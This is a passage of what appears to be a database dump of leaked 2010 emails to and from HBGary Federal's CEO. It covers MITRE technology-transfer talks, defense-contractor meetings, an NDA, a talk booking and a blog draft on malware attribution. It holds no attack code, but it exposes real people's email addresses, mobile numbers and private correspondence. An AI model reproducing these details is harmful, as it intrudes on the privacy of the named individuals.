host.&nbsp; Hope to see you\r\nall here.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Friday, July 23, 2010 1:50 PM\r\nTo: Clair, Chris (TASC); Chris Kozlow; Doug Smith; Aaron Barr\r\nSubject: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGentlemen - \r\n\r\nAs a follow-up to recent discussions about a potential collaboration\r\nopportunity - allow me to introduce everyone. \r\n\r\nChris C. and Aaron &#8211; Doug and Chris K. from Ericsson Federal may be able\r\nto provide some infrastructure support to the program we are pursuing. &nbsp;\r\n\r\nDoug and Chris K &#8211; Chris C. is the capture manager from TASC for the\r\nopportunity I mentioned to you. &nbsp;Aaron is the former USG program manager\r\nfor the initiative. &nbsp;His company, HB Gary, and Archimedes are\r\nsub-contractors to TASC.\r\n\r\nIf possible, I&#8217;d like to arrange a meeting at TASC HQ next Friday, the\r\n30th at 1000. &nbsp;Let me know if this works for everyone. &nbsp;Provided it\r\nworks, Doug and Chris will need to have their clearances sent over to TASC.\r\n&nbsp;\r\n\r\nAaron &#8211; I know you may not have returned in time for this meeting.\r\n&nbsp;If this doesn&#8217;t work for you, let&#8217;s arrange another time to\r\ndiscuss in further detail the potential opportunity that Doug and Chris have\r\nfor some of the customers you have worked for/with previously. &nbsp;\r\n\r\nHave a good weekend - \r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9693,'aaron_hbgary_com/9693.html'),(9102,'2010-07-23','\"Dizon, Ray\" <rdizon@mitre.org>','/aaron@hbgary.com/new/1297007000.M887101P14101Q3957.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: MITRE intro','Aaron,\r\n\r\nThanks for coming in....you have a lot of good things going on at HB Gary.  \r\n\r\nHere is a sampling of some of the projects ongoing relating to your own line of work.  I am somewhat vague about titles, etc., because of the sensitivity of how this might be implemented.  Certainly, we can arrange some way to formalize through an NDA so we can engage in more detailed discussion between our staff and yourselves.\r\n\r\nDMZ Capability\r\nPhylogenetic Models for Malware\r\nHoneyclient (open source but with some other data/code in addition that can be licensed)\r\nRoot Kit Detection Technology\r\nNext Generation Debugger for Malware\r\nManifold Learning and Dimension Reduction for Classification\r\nTriage tool for incident response teams (sandbox-related)\r\n\r\nAnd then, hopefully, you can apply one or more of these technologies to your federal business customers.\r\n\r\nLet\'s discuss what you\'d like to see out of all of these projects and go from there.  I know that next week is pretty much out.....I did gather that we\'d have some representation at Black Hat as well.  I think we may have at least one speaker who might discuss one of these listed technologies.  In the meantime, have a good trip out to LV.\r\n\r\nRay\r\n\r\n\r\nRay Dizon\r\nDirector, Technology Transfer Office\r\nThe MITRE Corporation\r\nN680\r\n7515 Colshire Drive\r\nMcLean, VA 22102\r\n703-983-7132\r\nrdizon@mitre.org\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 12:45 AM\r\nTo: Dizon, Ray\r\nSubject: Re: MITRE intro\r\n\r\nYep.  See you at 3\r\n\r\nSent from my iPad\r\n\r\nOn Jul 20, 2010, at 1:18 PM, \"Dizon, Ray\"  wrote:\r\n\r\n> It would have to be 3:00 tomorrow.  Is that OK?\r\n>\r\n> I did see that BlackHat is on, got an email from someone else on it.  I see that one of your folks is a speaker.  Would have been interesting to have gone there.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, July 20, 2010 12:36 PM\r\n> To: Dizon, Ray\r\n> Subject: Re: MITRE intro\r\n>\r\n> Shoot!  I am very sorry Ray.  I can do same time tomorrow if you can.\r\n> Otherwise after blackhat.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\"  wrote:\r\n>\r\n>> Didn\'t see you last week......did you want to try again?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Dizon, Ray\r\n>> Sent: Friday, July 09, 2010 10:05 AM\r\n>> To: \'Aaron Barr\'\r\n>> Subject: RE: MITRE intro\r\n>>\r\n>> Thursday the 15th is the better day, how about 2:00?\r\n>>\r\n>> Ray\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Friday, July 09, 2010 10:03 AM\r\n>> To: Dizon, Ray\r\n>> Subject: Re: MITRE intro\r\n>>\r\n>> Sounds good.  How about tuesday or thursday next week?  I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:\r\n>>\r\n>>> David, thanks, see you soon.\r\n>>>\r\n>>> Aaron,\r\n>>>\r\n>>> Be happy to catch up with you some time to chat about social media, etc.\r\n>>>\r\n>>> I\'m open to suggestions on dates/times/venues over the next couple of weeks.  I\'m generally flexible over locations as I drive around enough!\r\n>>>\r\n>>> Ray\r\n>>>\r\n>>>\r\n>>> Ray Dizon\r\n>>> Director, Technology Transfer Office\r\n>>> The MITRE Corporation\r\n>>> N680\r\n>>> 7515 Colshire Drive\r\n>>> McLean, VA 22102\r\n>>> 703-983-7132\r\n>>> rdizon@mitre.org\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: David Etue [mailto:david@etue.net]\r\n>>> Sent: Thursday, July 08, 2010 9:07 AM\r\n>>> To: Aaron Barr; Dizon, Ray\r\n>>> Subject: MITRE intro\r\n>>>\r\n>>> Ray - looking forward to meeting this afternoon.  I wanted to provide a\r\n>>> quick intro beforehand to Aaron Barr, who is the CEO of HB Gary\r\n>>> Federal.  Aaron and I have looked to do some work together around social\r\n>>> media security, and during our discussions he mentioned there was some\r\n>>> technology in MITRE around social media that may be available for tech\r\n>>> transfer.  I wanted to connect the two to discuss further.\r\n>>>\r\n>>> Aaron - Ray is the director of MITRE\'s Technology Transfer Office.\r\n>>> Before joining MITRE, he was an investor in Fidelis while at the\r\n>>> Maryland Venture Fund.  Beyond being the right person to talk to about\r\n>>> this particular opportunity, Ray is a great guy to know in the DC tech\r\n>>> community.\r\n>>>\r\n>>> I\'ll let you two connect directly from here.\r\n>>>\r\n>>> David\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',930,'aaron_hbgary_com/930.html'),(9103,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007002.M231024P14101Q3958.eml','\"Zosh\" <mydocs@zosh.com>','Fwd: NDA with DMI','\r\n\r\nSent from my iPad\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Fanguy \r\n> Date: July 19, 2010 5:41:50 PM CDT\r\n> To: \"aaron@hbgary.com\" \r\n> Cc: William Luti \r\n> Subject: NDA with DMI\r\n> \r\n\r\n> Aaron-\r\n> \r\n>  \r\n> \r\n> Thanks again for the time today…very impressive story, and even more impressive story-teller!  Bill and I look forward to working with you on this TSA opp, and of course other opps.  I’ve got customers at DOT, Treasury, OMB, GSA, and HHS that we can setup meetings for over the next few weeks in the short term.\r\n> \r\n>  \r\n> \r\n> Attached is the NDA.  I can get the TA out tomorrow later in the day (have to physically hunt down signatures on our end).\r\n> \r\n>  \r\n> \r\n> Please reach out to Bill or I if you have any questions on this doc.\r\n> \r\n>  \r\n> \r\n> Thanks,\r\n> \r\n>  \r\n> \r\n>  \r\n> \r\n> -John\r\n> \r\n>  \r\n> \r\n> John Fanguy\r\n> \r\n> VP\r\n> \r\n> Digital Management, Inc.\r\n> \r\n> \"Leading Government Transformation\"\r\n> \r\n> GSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n> \r\n> --------------------------------------------------\r\n> \r\n> 6701 Democracy Blvd, Suite 500\r\n> Bethesda, Maryland 20817\r\n> 301-346-6749 cell\r\n> \r\n> 240-223-4800 main\r\n> \r\n> \r\n>  \r\n> \r\n',89,'aaron_hbgary_com/89.html'),(9104,'2010-07-23','\"Zosh Administrator\" <noreply@zosh.com>','/aaron@hbgary.com/new/1297007002.M494748P14101Q3959.eml','aaron@hbgary.com','Documents Available','\r\n\r\nDocuments available on Zosh\r\n\r\n\r\n\r\nAn email with the following attachments was received on Fri, Jul 23, \'10 at 7:05 PM from aaron@hbgary.com.\r\n \r\n\r\n\r\n    DMI NDA - v5(jf).docx\r\n\r\n\r\nThese documents are now available in Zosh. \r\n\r\n\r\nStart the Zosh application to view the documents.  If you are already in the Zosh application, \r\nyou may press the refresh button in the top left corner of the Home view.\r\n\r\n\r\n\r\nOur document conversion has been significantly improved as of July 15, 2010.  Please try it out and let us know what you think.\r\nWe use a commerical conversion tool that supports PDF conversion from Word, Excel, Powerpoint, JPG, PNG, GIF, BMP and TIFF\r\n\r\n\r\n			  \r\nThank you for using Zosh.  For up to date info.  @zoshapp.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11345,'aaron_hbgary_com/11345.html'),(9105,'2010-07-23','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297007003.M106P14101Q3960.eml','tjriesen@archimedesglobal.com,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Next Week','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nRe: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Tim,\r\n\r\n&nbsp;\r\n\r\nThe open house is on the 14th and 15th of\r\nSeptember.&nbsp; Depending on price, we may want it one or both days.&nbsp; We can\r\ntalk Wednesday or Friday or Thursday afternoon.&nbsp; &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nWe can meet with Telemus for COIN just to get their general\r\ninterest and what they can provide.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAnd we are on Thursday.&nbsp; I&#8217;ll have the steaks ready\r\nto grill and the beer will be chilled.&nbsp; I am sure it will be loads of fun.\r\n\r\n&nbsp;\r\n\r\nChris \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\ntjriesen@archimedesglobal.com [mailto:tjriesen@archimedesglobal.com] \r\nSent: Friday, July 23, 2010 2:21 PM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: Re: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris - \r\n\r\nFor the demo - can you tell me the proposed date? I have the tech guys working\r\nup a concept and costing based on what you provided. I think I\'d like to\r\narrange a conf call next week sometime. Work for you? \r\n\r\nAlso, I spoke with Telemus Raytheon about COIN. They have not made a decision\r\nyet. Do you want to meet with them next week?\r\n\r\nAlso, let\'s confirm dinner Thursday night. I am looking forward to it. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Clair, Chris (TASC)&quot;\r\n&lt;CHRISTOPHER.CLAIR@tasc.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Thu, 22 Jul 2010 14:38:24 -0400\r\n\r\n\r\n\r\n\r\n\r\nTo: Tim Riesen&lt;tjriesen@archimedesglobal.com&gt;;\r\nAaron Barr&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSounds good to me.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Tim Riesen\r\n[mailto:tjriesen@archimedesglobal.com] \r\nSent: Thursday, July 22, 2010 8:53 AM\r\nTo: Clair, Chris (TASC); Aaron Barr\r\nSubject: Re: EXTERNAL:Next Week\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris - \r\n\r\nOk &#8211; will shoot for Wednesday to Friday. &nbsp;Aaron mentioned he might\r\nbe back in time for a Friday PM meeting. &nbsp;If that is indeed workable,\r\nlet&#8217;s shoot for a Thursday night dinner and a Friday meeting. &nbsp;\r\n\r\nTim \r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc. \r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Christopher Clair &lt;christopher.clair@tasc.com&gt;\r\nDate: Wed, 21 Jul 2010 21:49:57 -0400\r\nTo: Tim Riesen &lt;tjriesen@archimedesglobal.com&gt;,\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: RE: EXTERNAL:Next Week\r\n\r\nHi Tim,\r\n\r\nMonday and Tuesday are bad. &nbsp;The rest of the week is open. &nbsp;I think\r\nAaron will be out of town but we can handle the meeting if necessary. \r\n\r\nDo you have any nights free for that week? &nbsp;We can cook a few steaks and\r\ndrink a beer or two. &nbsp;Aaron you are welcome to come too. \r\n\r\nLet me know. \r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Tim Riesen [mailto:tjriesen@archimedesglobal.com]\r\nSent: Wed 7/21/2010 9:25 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nSubject: EXTERNAL:Next Week\r\n\r\nGentlemen -\r\n\r\nDo you have an interest in meeting with the telecom infrastructure people\r\nnext week? \r\n\r\nAaron &#8211; for the McLean for the meeting?\r\n\r\nAaron and Chris &#8211; for the infrastructure piece of the COIN proposal?\r\n\r\n________________________________________\r\nTim Riesen, Ph.D.\r\nChief Operating Officer &amp; Senior Vice President\r\nArchimedes Global, Inc.\r\nTel: &nbsp;&nbsp;800.670.2390 ext 503\r\nFax: &nbsp;866.347.0827\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3522,'aaron_hbgary_com/3522.html'),(9106,'2010-07-23','\"William Luti\" <williamluti@verizon.net>','/aaron@hbgary.com/new/1297007003.M217225P14101Q3961.eml','aaron@hbgary.com','','\r\n\r\n\r\n',6455,'aaron_hbgary_com/6455.html'),(9107,'2010-07-23','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297007003.M425851P14101Q3962.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media','Aaron,\r\n\r\nI\'ve got a room booked for the afternoon of 5 Oct.\r\n\r\nPlease confirm that works for you.\r\n\r\nAlso, please send me an updated bio and a presentation abstract so I can\r\npost them and send invitations.\r\n\r\nScott\r\n\r\n\r\nScott W. Sheldon, PMP | SAIC\r\nVice President, Senior Account Executive | Intelligence, Security and\r\nTechnology Group\r\nmobile: 410.382.0179 | email: scott.w.sheldon@saic.com \r\n\r\nScience Applications International Corporation\r\n6841 Benjamin Franklin Drive\r\nColumbia, MD 21046\r\nwww.saic.com\r\n\r\nEnergy  |  Environment  |  National Security  |  Health  |  Critical\r\nInfrastructure\r\n \r\nPlease consider the environment before printing this email.\r\n\r\nThis e-mail and any attachments to it are intended only for the identified\r\nrecipients. It may contain proprietary or otherwise legally protected\r\ninformation of SAIC. Any unauthorized use or disclosure of this\r\ncommunication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments immediately.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, July 21, 2010 11:03 AM\r\nTo: Sheldon, Scott W.\r\nSubject: Re: Social Media\r\n\r\nok how about the first tuesday in October.\r\n\r\nAaron\r\n\r\nOn Jul 21, 2010, at 10:42 AM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> As of now I have any Tuesday in October open if you\'d like to sign up for\r\n> one.\r\n> \r\n> Scott\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, July 21, 2010 10:34 AM\r\n> To: Sheldon, Scott W.\r\n> Cc: Estell, Timothy W.\r\n> Subject: Social Media\r\n> \r\n> Scott,\r\n> \r\n> Attached is a presentation I gave at the NSA REBL conference about a month\r\n> ago.  The response was overwhelming.  Social media will continue to climb\r\nas\r\n> a hot topic for defense and offense.  I am in the process of updating this\r\n> presentation and building a 1 day training course for social media to\r\ncover:\r\n> 1. Familiarization\r\n> 2. Effective Use\r\n> 3. Risks\r\n> 4. Usecases\r\n> 5. Protection and Process\r\n> \r\n> I thought you might be interested in offering this presentation on one of\r\n> your Tech Tuesdays.  I have a lot of experience in social media, most of\r\nit\r\n> I can\'t talk directly about but it gives me a somewhat unique perspective.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3561,'aaron_hbgary_com/3561.html'),(9108,'2010-07-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297007003.M637188P14101Q3963.eml','\"Barr Aaron\" <aaron@hbgary.com>','Contact','\r\n\r\n',14880,'aaron_hbgary_com/14880.html'),(9109,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007003.M865164P14101Q3964.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: MITRE intro','Mitre has a lot of technology that they will lease for free for capabilities for the government. &nbsp;Worthanother conversation.Sent from my iPadBegin forwarded message:From: \"Dizon, Ray\" &lt;rdizon@mitre.org&gt;Date: July 23, 2010 1:39:24 PM CDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: MITRE introAaron,Thanks for coming in....you have a lot of good things going on at HB Gary. &nbsp;Here is a sampling of some of the projects ongoing relating to your own line of work. &nbsp;I am somewhat vague about titles, etc., because of the sensitivity of how this might be implemented. &nbsp;Certainly, we can arrange some way to formalize through an NDA so we can engage in more detailed discussion between our staff and yourselves.DMZ CapabilityPhylogenetic Models for MalwareHoneyclient (open source but with some other data/code in addition that can be licensed)Root Kit Detection TechnologyNext Generation Debugger for MalwareManifold Learning and Dimension Reduction for ClassificationTriage tool for incident response teams (sandbox-related)And then, hopefully, you can apply one or more of these technologies to your federal business customers.Let\'s discuss what you\'d like to see out of all of these projects and go from there. &nbsp;I know that next week is pretty much out.....I did gather that we\'d have some representation at Black Hat as well. &nbsp;I think we may have at least one speaker who might discuss one of these listed technologies. &nbsp;In the meantime, have a good trip out to LV.RayRay DizonDirector, Technology Transfer OfficeThe MITRE CorporationN6807515 Colshire DriveMcLean, VA 22102703-983-7132rdizon@mitre.org-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Wednesday, July 21, 2010 12:45 AMTo: Dizon, RaySubject: Re: MITRE introYep. &nbsp;See you at 3Sent from my iPadOn Jul 20, 2010, at 1:18 PM, \"Dizon, Ray\" &lt;rdizon@mitre.org&gt; wrote:It would have to be 3:00 tomorrow. &nbsp;Is that OK?I did see that BlackHat is on, got an email from someone else on it. &nbsp;I see that one of your folks is a speaker. &nbsp;Would have been interesting to have gone there.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tuesday, July 20, 2010 12:36 PMTo: Dizon, RaySubject: Re: MITRE introShoot! &nbsp;I am very sorry Ray. &nbsp;I can do same time tomorrow if you can.Otherwise after blackhat.AaronSent from my iPadOn Jul 20, 2010, at 9:52 AM, \"Dizon, Ray\" &lt;rdizon@mitre.org&gt; wrote:Didn\'t see you last week......did you want to try again?Ray-----Original Message-----From: Dizon, RaySent: Friday, July 09, 2010 10:05 AMTo: \'Aaron Barr\'Subject: RE: MITRE introThursday the 15th is the better day, how about 2:00?Ray-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Friday, July 09, 2010 10:03 AMTo: Dizon, RaySubject: Re: MITRE introSounds good. &nbsp;How about tuesday or thursday next week? &nbsp;I work mostly from home right now if I am not traveling, can we meet at the mitre building in Tysons?AaronOn Jul 8, 2010, at 12:42 PM, Dizon, Ray wrote:David, thanks, see you soon.Aaron,Be happy to catch up with you some time to chat about social media, etc.I\'m open to suggestions on dates/times/venues over the next couple of weeks. &nbsp;I\'m generally flexible over locations as I drive around enough!RayRay DizonDirector, Technology Transfer OfficeThe MITRE CorporationN6807515 Colshire DriveMcLean, VA 22102703-983-7132rdizon@mitre.org-----Original Message-----From: David Etue [mailto:david@etue.net]Sent: Thursday, July 08, 2010 9:07 AMTo: Aaron Barr; Dizon, RaySubject: MITRE introRay - looking forward to meeting this afternoon. &nbsp;I wanted to provide aquick intro beforehand to Aaron Barr, who is the CEO of HB GaryFederal. &nbsp;Aaron and I have looked to do some work together around socialmedia security, and during our discussions he mentioned there was sometechnology in MITRE around social media that may be available for techtransfer. &nbsp;I wanted to connect the two to discuss further.Aaron - Ray is the director of MITRE\'s Technology Transfer Office.Before joining MITRE, he was an investor in Fidelis while at theMaryland Venture Fund. &nbsp;Beyond being the right person to talk to aboutthis particular opportunity, Ray is a great guy to know in the DC techcommunity.I\'ll let you two connect directly from here.DavidAaron BarrCEOHBGary Federal Inc.',13350,'aaron_hbgary_com/13350.html'),(9110,'2010-07-23','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007004.M161245P14101Q3965.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Blog Entry Draft','Sent from my iPadBegin forwarded message:From: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: July 23, 2010 9:58:41 AM CDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Greg Hoglund &lt;greg@hbgary.com&gt;, Penny Leavy &lt;penny@hbgary.com&gt;Subject: Re: Blog Entry DraftHi Aaron, I think this is terrific. I look forward to seeing your final draft. Karen--- On Fri, 7/23/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Blog Entry DraftTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Greg Hoglund\" &lt;greg@hbgary.com&gt;, \"Penny Leavy\" &lt;penny@hbgary.com&gt;Date: Friday, July 23, 2010, 7:41 AM\r\nBlog entry I am working on.&nbsp; Let me know if you think I am on the right track.&nbsp; I will finish it up tonight.------------As a nation we are hemorrhaging; our government, military, corporate, and financial institutions are being robbed of their intellectual property and critical resources continuously.&nbsp; Individual banks measure their loses in the millions per month.&nbsp; Commercial corporations are watching their innovation, their intellectual property stream overseas.&nbsp; Our military and government infrastructures, the core of what keeps us safe and in a position of power are being breeched regularly, national secrets accessed, and we are nearly powerless to stop the majority of these attacks.&nbsp; Why?&nbsp; Because we lack a fundamental ability to attribute the threat, attribute the source and intent of the attack.&nbsp; Without attribution we can not develop and execute courses of action (COAs)\r\n against cyber threats and establish foreign policies governing cyber based threats.This is not new.&nbsp; The government and intelligence community have been discussing attribution actively since the the CNCI was signed by President Bush in 2007.&nbsp; It was a top priority then and still is today.&nbsp; Given the span of nearly 3 years we are still not much closer in developing capabilities and methodologies that significantly advance on the attribution problem.&nbsp; The challenges are clearly understood.&nbsp; Sources of attack can be spoofed, false flag operations executed, in the end unless there are some other indicators or sources of intelligence that can be tied to a cyber based attack, the likelihood of being able to attribute an attack is unlikely.Until today.The FingerPrint tool being released today takes a big step in the direction of attribution.&nbsp; The source of the tools success lies within the vehicles of\r\n attack themselves - malware.&nbsp; Like styles used by authors, or painters.&nbsp; Malware creators have specific styles, they use a specific set of tools, and they develop in specific environments.&nbsp; All of these threat markers are identifiable and not easily masked.&nbsp; The FingerPrint tool pulls these variables from the malware allowing for more rapid association and correlation of malware that was created in the same development environment by the same authors......------------------NOTESDeveloping an ability to attribute cyber-based attacks is critical to our ability to develop adequate foreign policy and courses of action (COAs) against attacks.&nbsp; But this is no small task.&nbsp; Unlike all of the other channels of commerce; land, air, sea, and space; cyberspace allows We must start somewhere, developing the technologies and the methodologies for cyber analysis.Attribution is a big big problem for\r\n the nation.&nbsp; We can\'t develop policy and COAs (courses of action) if we don\'t know where the attack came from, this leaves us stone silent when we watch our IP leaving our country in rivers.&nbsp; Since we can cluster malware based on environmental characteristics we can also make associations of those internal characteristics.&nbsp; One piece of malware has this little tidbit, this one has this little tidbit, maybe its a handle, maybe another developer is added into the mix for one piece of malware and we have him nailed through other analysis, we can now make ties to the rest of the group.&nbsp; Lots of possibilities if the fingerprinting tool is combined with Open source and classified intelligence.Fingerprint + TMC + Social Media Collection/Analysis = True Threat Intelligence (unclassified).&nbsp; Add SIGINT and HUMINT data for True classified threat intelligence.In Cybersecurity there are only 3 really important initiatives;\r\n threat intelligence, incident response, and offense.&nbsp; Every thing else is fingers in the dam.&nbsp; And having capabilities in all three is critical because they feed each other.&nbsp; If we have the products, the intelligence repository, as well as the ability to develop offensive capabilities.&nbsp; Thats the sweet spot.&nbsp; The products are getting there.&nbsp; We have the offensive capability and are just working to get into the right programs.&nbsp; We need the repository.Aaron BarrCEOHBGary Federal Inc.\r\n\r\n      ',516,'aaron_hbgary_com/516.html'),(9111,'2010-07-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007004.M402741P14101Q3966.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: EXTERNAL:Fake femme fatale shows social network risks','yeah I have been following this story.  Tks.  She is going to brief at blackhat.  I think we just got our first training course gig with Digital Globe.  $35K.  Sweet.\r\n\r\nAaron\r\n\r\nOn Jul 23, 2010, at 8:09 AM, Winterfeld, Steven P (TASC) wrote:\r\n\r\n> Wanted to make sure you saw the femme fatale article \r\n> \r\n> -----Original Message-----\r\n> From: Computerworld Security\r\n> [mailto:computerworld_newsletters@cwonline.computerworld.com] \r\n> Sent: Thursday, July 22, 2010 10:30 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: EXTERNAL:Fake femme fatale shows social network risks\r\n> \r\n> Computerworld Security: July 22, 2010\r\n> ===============================================================\r\n> \r\n> Fake femme fatale shows social network risks\r\n> \r\n> Social networking pages featuring the profile of a fake Navy cyberthreat\r\n> analyst\r\n> attracted some 300 friends in the intelligence, military and security\r\n> communities in an experiment conducted by a security researcher.\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305484/0/\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Brocade and IBM Internet Security Systems Solutions\r\n> \r\n> The explosion of data and information makes networking, storage, and\r\n> security\r\n> more important than ever. Trusted by organizations around the globe,\r\n> Brocade and\r\n> IBM ISS bring the networking and security experience, expertise, and\r\n> knowledge\r\n> today\'s enterprises demand.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305485/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=ac6a6346\r\n> \r\n> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> IN THIS ISSUE\r\n> \r\n> 1. Security firm: Apple has more security holes than anyone\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305486/0/\r\n> \r\n> 2. Mozilla patches 16 security bugs in Firefox 3.6\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305487/0/\r\n> \r\n> 3. Richi Jennings: Horrible Safari privacy bug: take action now\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305488/0/\r\n> \r\n> 4. Microsoft warns of Windows shortcut drive-by attacks\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305489/0/\r\n> \r\n> 5. New \'Kraken\' GSM-cracking software is released\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305490/0/\r\n> \r\n> 6. Corporate ID theft hits Georgia businesses\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305491/0/\r\n> \r\n> 7. First true SCADA-specific malware detected\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305492/0/\r\n> \r\n> 8. Microsoft releases beta of upgraded Security Essentials\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305493/0/\r\n> \r\n> 9. Design that ensures security, also emphasizes style\r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305494/0/\r\n> \r\n> \r\n> ~~~~~~~~~~~~~~~~~~~WHITE PAPER: Brocade~~~~~~~~~~~~~~~~~~~~~\r\n> \r\n> Leverage Data Center-Class Networks\r\n> \r\n> If industry predictions are correct, the evolution toward virtualization\r\n> will\r\n> create a profound shift away from long-standing information silos to\r\n> higher\r\n> performance, more scalable and efficient network operations,\r\n> government-wide.\r\n> \r\n> http://cwflyris.computerworld.com/t/6600147/623466301/305495/0/?3e076d18\r\n> =c3RldmVuLndpbnRlcmZlbGRAbmdjLmNvbQ%3d%3d&x=4b72369c\r\n> \r\n> 